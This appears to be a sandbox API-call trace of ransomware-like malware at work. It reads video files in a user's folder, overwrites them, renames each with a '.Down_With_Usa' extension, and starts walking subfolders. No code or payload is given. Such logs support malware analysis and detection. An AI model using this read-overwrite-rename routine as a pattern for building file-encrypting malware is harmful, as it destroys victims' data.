[0123.240] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\F4eEU-yIz1j3gUSbNQur.mkv", nBufferLength=0x105, lpBuffer=0x2eb330, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\F4eEU-yIz1j3gUSbNQur.mkv", lpFilePart=0x0) returned 0x52
[0123.240] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb810) returned 1
[0123.240] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\F4eEU-yIz1j3gUSbNQur.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\tej-any_n6u3sep-6wp-\\f4eeu-yiz1j3gusbnqur.mkv"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0123.240] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb780) returned 1
[0123.240] GetFileSize (in: hFile=0x3a8, lpFileSizeHigh=0x2eb9a8 | out: lpFileSizeHigh=0x2eb9a8*=0x0) returned 0x1a7a
[0123.240] ReadFile (in: hFile=0x3a8, lpBuffer=0x26c84a8, nNumberOfBytesToRead=0x1a7a, lpNumberOfBytesRead=0x2eb8d8, lpOverlapped=0x0 | out: lpBuffer=0x26c84a8*, lpNumberOfBytesRead=0x2eb8d8*=0x1a7a, lpOverlapped=0x0) returned 1
[0123.271] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\F4eEU-yIz1j3gUSbNQur.mkv", nBufferLength=0x105, lpBuffer=0x2eb340, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\F4eEU-yIz1j3gUSbNQur.mkv", lpFilePart=0x0) returned 0x52
[0123.271] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb820) returned 1
[0123.271] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\F4eEU-yIz1j3gUSbNQur.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\tej-any_n6u3sep-6wp-\\f4eeu-yiz1j3gusbnqur.mkv"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0123.272] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb790) returned 1
[0123.274] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\F4eEU-yIz1j3gUSbNQur.mkv", nBufferLength=0x105, lpBuffer=0x2eb4e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\F4eEU-yIz1j3gUSbNQur.mkv", lpFilePart=0x0) returned 0x52
[0123.274] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\F4eEU-yIz1j3gUSbNQur.mkv.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2eb4e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\F4eEU-yIz1j3gUSbNQur.mkv.Down_With_Usa", lpFilePart=0x0) returned 0x60
[0123.274] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb920) returned 1
[0123.274] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\F4eEU-yIz1j3gUSbNQur.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\tej-any_n6u3sep-6wp-\\f4eeu-yiz1j3gusbnqur.mkv"), fInfoLevelId=0x0, lpFileInformation=0x2eba00 | out: lpFileInformation=0x2eba00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x44474620, ftCreationTime.dwHighDateTime=0x1d5e461, ftLastAccessTime.dwLowDateTime=0x36d790b0, ftLastAccessTime.dwHighDateTime=0x1d5e729, ftLastWriteTime.dwLowDateTime=0x25ee9100, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x1a80)) returned 1
[0123.274] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb8e0) returned 1
[0123.274] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\F4eEU-yIz1j3gUSbNQur.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\tej-any_n6u3sep-6wp-\\f4eeu-yiz1j3gusbnqur.mkv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\F4eEU-yIz1j3gUSbNQur.mkv.Down_With_Usa" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\tej-any_n6u3sep-6wp-\\f4eeu-yiz1j3gusbnqur.mkv.down_with_usa")) returned 1
[0123.275] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\FvTG407.mp4", nBufferLength=0x105, lpBuffer=0x2eb330, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\FvTG407.mp4", lpFilePart=0x0) returned 0x45
[0123.275] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb810) returned 1
[0123.275] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\FvTG407.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\tej-any_n6u3sep-6wp-\\fvtg407.mp4"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0123.275] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb780) returned 1
[0123.275] GetFileSize (in: hFile=0x3a8, lpFileSizeHigh=0x2eb9a8 | out: lpFileSizeHigh=0x2eb9a8*=0x0) returned 0xc0a0
[0123.276] ReadFile (in: hFile=0x3a8, lpBuffer=0x27be328, nNumberOfBytesToRead=0xc0a0, lpNumberOfBytesRead=0x2eb8d8, lpOverlapped=0x0 | out: lpBuffer=0x27be328*, lpNumberOfBytesRead=0x2eb8d8*=0xc0a0, lpOverlapped=0x0) returned 1
[0123.334] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\FvTG407.mp4", nBufferLength=0x105, lpBuffer=0x2eb340, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\FvTG407.mp4", lpFilePart=0x0) returned 0x45
[0123.334] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb820) returned 1
[0123.334] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\FvTG407.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\tej-any_n6u3sep-6wp-\\fvtg407.mp4"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0123.336] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb790) returned 1
[0123.339] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\FvTG407.mp4", nBufferLength=0x105, lpBuffer=0x2eb4e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\FvTG407.mp4", lpFilePart=0x0) returned 0x45
[0123.339] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\FvTG407.mp4.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2eb4e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\FvTG407.mp4.Down_With_Usa", lpFilePart=0x0) returned 0x53
[0123.339] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb920) returned 1
[0123.339] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\FvTG407.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\tej-any_n6u3sep-6wp-\\fvtg407.mp4"), fInfoLevelId=0x0, lpFileInformation=0x2eba00 | out: lpFileInformation=0x2eba00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3beb6f0, ftCreationTime.dwHighDateTime=0x1d5dc5e, ftLastAccessTime.dwLowDateTime=0xffe58b20, ftLastAccessTime.dwHighDateTime=0x1d5d7ba, ftLastWriteTime.dwLowDateTime=0x25f81680, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0xc0b0)) returned 1
[0123.339] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb8e0) returned 1
[0123.339] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\FvTG407.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\tej-any_n6u3sep-6wp-\\fvtg407.mp4"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\FvTG407.mp4.Down_With_Usa" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\tej-any_n6u3sep-6wp-\\fvtg407.mp4.down_with_usa")) returned 1
[0123.340] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\kFk TGRBW6Xr--d7.mp4", nBufferLength=0x105, lpBuffer=0x2eb330, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\kFk TGRBW6Xr--d7.mp4", lpFilePart=0x0) returned 0x4e
[0123.340] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb810) returned 1
[0123.340] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\kFk TGRBW6Xr--d7.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\tej-any_n6u3sep-6wp-\\kfk tgrbw6xr--d7.mp4"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0123.341] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb780) returned 1
[0123.341] GetFileSize (in: hFile=0x3a8, lpFileSizeHigh=0x2eb9a8 | out: lpFileSizeHigh=0x2eb9a8*=0x0) returned 0x8d8e
[0123.341] ReadFile (in: hFile=0x3a8, lpBuffer=0x26e5b48, nNumberOfBytesToRead=0x8d8e, lpNumberOfBytesRead=0x2eb8d8, lpOverlapped=0x0 | out: lpBuffer=0x26e5b48*, lpNumberOfBytesRead=0x2eb8d8*=0x8d8e, lpOverlapped=0x0) returned 1
[0123.370] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\kFk TGRBW6Xr--d7.mp4", nBufferLength=0x105, lpBuffer=0x2eb340, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\kFk TGRBW6Xr--d7.mp4", lpFilePart=0x0) returned 0x4e
[0123.370] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb820) returned 1
[0123.370] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\kFk TGRBW6Xr--d7.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\tej-any_n6u3sep-6wp-\\kfk tgrbw6xr--d7.mp4"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0123.372] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb790) returned 1
[0123.375] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\kFk TGRBW6Xr--d7.mp4", nBufferLength=0x105, lpBuffer=0x2eb4e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\kFk TGRBW6Xr--d7.mp4", lpFilePart=0x0) returned 0x4e
[0123.375] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\kFk TGRBW6Xr--d7.mp4.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2eb4e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\kFk TGRBW6Xr--d7.mp4.Down_With_Usa", lpFilePart=0x0) returned 0x5c
[0123.375] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb920) returned 1
[0123.376] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\kFk TGRBW6Xr--d7.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\tej-any_n6u3sep-6wp-\\kfk tgrbw6xr--d7.mp4"), fInfoLevelId=0x0, lpFileInformation=0x2eba00 | out: lpFileInformation=0x2eba00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5103bc40, ftCreationTime.dwHighDateTime=0x1d5df98, ftLastAccessTime.dwLowDateTime=0xceaf52f0, ftLastAccessTime.dwHighDateTime=0x1d5e036, ftLastWriteTime.dwLowDateTime=0x25ff3aa0, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x8d90)) returned 1
[0123.376] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb8e0) returned 1
[0123.376] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\kFk TGRBW6Xr--d7.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\tej-any_n6u3sep-6wp-\\kfk tgrbw6xr--d7.mp4"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\kFk TGRBW6Xr--d7.mp4.Down_With_Usa" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\tej-any_n6u3sep-6wp-\\kfk tgrbw6xr--d7.mp4.down_with_usa")) returned 1
[0123.377] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\ly8S3r32Ch.mp4", nBufferLength=0x105, lpBuffer=0x2eb330, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\ly8S3r32Ch.mp4", lpFilePart=0x0) returned 0x48
[0123.377] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb810) returned 1
[0123.377] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\ly8S3r32Ch.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\tej-any_n6u3sep-6wp-\\ly8s3r32ch.mp4"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0123.377] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb780) returned 1
[0123.377] GetFileSize (in: hFile=0x3a8, lpFileSizeHigh=0x2eb9a8 | out: lpFileSizeHigh=0x2eb9a8*=0x0) returned 0xb7c5
[0123.377] ReadFile (in: hFile=0x3a8, lpBuffer=0x2806bf0, nNumberOfBytesToRead=0xb7c5, lpNumberOfBytesRead=0x2eb8d8, lpOverlapped=0x0 | out: lpBuffer=0x2806bf0*, lpNumberOfBytesRead=0x2eb8d8*=0xb7c5, lpOverlapped=0x0) returned 1
[0123.411] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\ly8S3r32Ch.mp4", nBufferLength=0x105, lpBuffer=0x2eb340, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\ly8S3r32Ch.mp4", lpFilePart=0x0) returned 0x48
[0123.411] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb820) returned 1
[0123.411] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\ly8S3r32Ch.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\tej-any_n6u3sep-6wp-\\ly8s3r32ch.mp4"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0123.413] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb790) returned 1
[0123.416] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\ly8S3r32Ch.mp4", nBufferLength=0x105, lpBuffer=0x2eb4e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\ly8S3r32Ch.mp4", lpFilePart=0x0) returned 0x48
[0123.416] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\ly8S3r32Ch.mp4.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2eb4e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\ly8S3r32Ch.mp4.Down_With_Usa", lpFilePart=0x0) returned 0x56
[0123.416] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb920) returned 1
[0123.416] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\ly8S3r32Ch.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\tej-any_n6u3sep-6wp-\\ly8s3r32ch.mp4"), fInfoLevelId=0x0, lpFileInformation=0x2eba00 | out: lpFileInformation=0x2eba00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf75d720, ftCreationTime.dwHighDateTime=0x1d5d821, ftLastAccessTime.dwLowDateTime=0xb7d87ea0, ftLastAccessTime.dwHighDateTime=0x1d5d8fa, ftLastWriteTime.dwLowDateTime=0x2603fd60, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0xb7d0)) returned 1
[0123.417] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb8e0) returned 1
[0123.417] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\ly8S3r32Ch.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\tej-any_n6u3sep-6wp-\\ly8s3r32ch.mp4"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\ly8S3r32Ch.mp4.Down_With_Usa" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\tej-any_n6u3sep-6wp-\\ly8s3r32ch.mp4.down_with_usa")) returned 1
[0123.418] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\syqT.flv", nBufferLength=0x105, lpBuffer=0x2eb330, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\syqT.flv", lpFilePart=0x0) returned 0x42
[0123.418] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb810) returned 1
[0123.418] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\syqT.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\tej-any_n6u3sep-6wp-\\syqt.flv"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0123.418] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb780) returned 1
[0123.418] GetFileSize (in: hFile=0x3a8, lpFileSizeHigh=0x2eb9a8 | out: lpFileSizeHigh=0x2eb9a8*=0x0) returned 0x6439
[0123.418] ReadFile (in: hFile=0x3a8, lpBuffer=0x2719258, nNumberOfBytesToRead=0x6439, lpNumberOfBytesRead=0x2eb8d8, lpOverlapped=0x0 | out: lpBuffer=0x2719258*, lpNumberOfBytesRead=0x2eb8d8*=0x6439, lpOverlapped=0x0) returned 1
[0123.455] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\syqT.flv", nBufferLength=0x105, lpBuffer=0x2eb340, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\syqT.flv", lpFilePart=0x0) returned 0x42
[0123.455] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb820) returned 1
[0123.455] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\syqT.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\tej-any_n6u3sep-6wp-\\syqt.flv"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0123.457] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb790) returned 1
[0123.459] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\syqT.flv", nBufferLength=0x105, lpBuffer=0x2eb4e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\syqT.flv", lpFilePart=0x0) returned 0x42
[0123.459] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\syqT.flv.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2eb4e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\syqT.flv.Down_With_Usa", lpFilePart=0x0) returned 0x50
[0123.459] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb920) returned 1
[0123.459] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\syqT.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\tej-any_n6u3sep-6wp-\\syqt.flv"), fInfoLevelId=0x0, lpFileInformation=0x2eba00 | out: lpFileInformation=0x2eba00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe9c00a40, ftCreationTime.dwHighDateTime=0x1d5e3aa, ftLastAccessTime.dwLowDateTime=0x969111a0, ftLastAccessTime.dwHighDateTime=0x1d5e57d, ftLastWriteTime.dwLowDateTime=0x260b2180, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x6440)) returned 1
[0123.459] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb8e0) returned 1
[0123.459] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\syqT.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\tej-any_n6u3sep-6wp-\\syqt.flv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\syqT.flv.Down_With_Usa" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\tej-any_n6u3sep-6wp-\\syqt.flv.down_with_usa")) returned 1
[0123.460] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb580) returned 1
[0123.460] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\8rEBEH9", nBufferLength=0x105, lpBuffer=0x2eb070, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\8rEBEH9", lpFilePart=0x0) returned 0x41
[0123.460] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\8rEBEH9\\", nBufferLength=0x105, lpBuffer=0x2eb010, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\8rEBEH9\\", lpFilePart=0x0) returned 0x42
[0123.460] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\8rEBEH9\\*", lpFindFileData=0x2eb220 | out: lpFindFileData=0x2eb220*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8cab5d40, ftCreationTime.dwHighDateTime=0x1d5e748, ftLastAccessTime.dwLowDateTime=0xb11be700, ftLastAccessTime.dwHighDateTime=0x1d5dc83, ftLastWriteTime.dwLowDateTime=0xb11be700, ftLastWriteTime.dwHighDateTime=0x1d5dc83, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ac18610
[0123.461] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb270 | out: lpFindFileData=0x2eb270*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8cab5d40, ftCreationTime.dwHighDateTime=0x1d5e748, ftLastAccessTime.dwLowDateTime=0xb11be700, ftLastAccessTime.dwHighDateTime=0x1d5dc83, ftLastWriteTime.dwLowDateTime=0xb11be700, ftLastWriteTime.dwHighDateTime=0x1d5dc83, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
